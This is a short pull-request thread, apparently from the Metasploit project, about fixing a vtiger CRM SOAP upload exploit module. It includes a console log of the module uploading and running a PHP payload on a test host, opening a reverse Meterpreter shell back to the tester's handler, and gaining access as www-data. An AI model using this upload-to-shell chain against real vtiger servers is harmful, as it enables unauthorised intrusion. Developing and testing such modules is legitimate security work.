vtigerolservice.php to vtigerservice.php

[bit4bit]

using direct soap/vtigerolservice.php not work..php need require('config.php');

[wchen-r7]

@jvazquez-r7 You might wanna verify this one.

[bit4bit]

yes, i test and work

[wvu]

Tested on what, specifically?

[jvazquez-r7]

@bit4bit oooo my fault, had to tweak to make the SOAP interface to work, was thinking I had missed doing some configuration :( my bad. Testing and landing, thanks a lot @bit4bit !

[jvazquez-r7]

@bit4bit just did a couple of changes: 0b27cd1

• Use vars_get in send_request_cgi
• FIx the send_request_cgi uri when calling the payload

Now working smoothly:

msf exploit(vtiger_soap_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.135:80 - Uploading payload...
[+] 192.168.172.135:80 - Upload successfully uploaded
[*] 192.168.172.135:80 - Executing payload...
[*] Sending stage (39848 bytes) to 192.168.172.135
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.135:33452) at 2014-02-20 08:35:09 -0600
[+] Deleted jecgbrDbIknmJE.php



^C[-] Exploit failed: Interrupt 

meterpreter > getuid
Server username: www-data (33)
meterpreter > exit
[*] Shutting down Meterpreter...

thanks a lot for the fix @bit4bit !

[wvu]

Okay, thanks!

[bit4bit]

community :)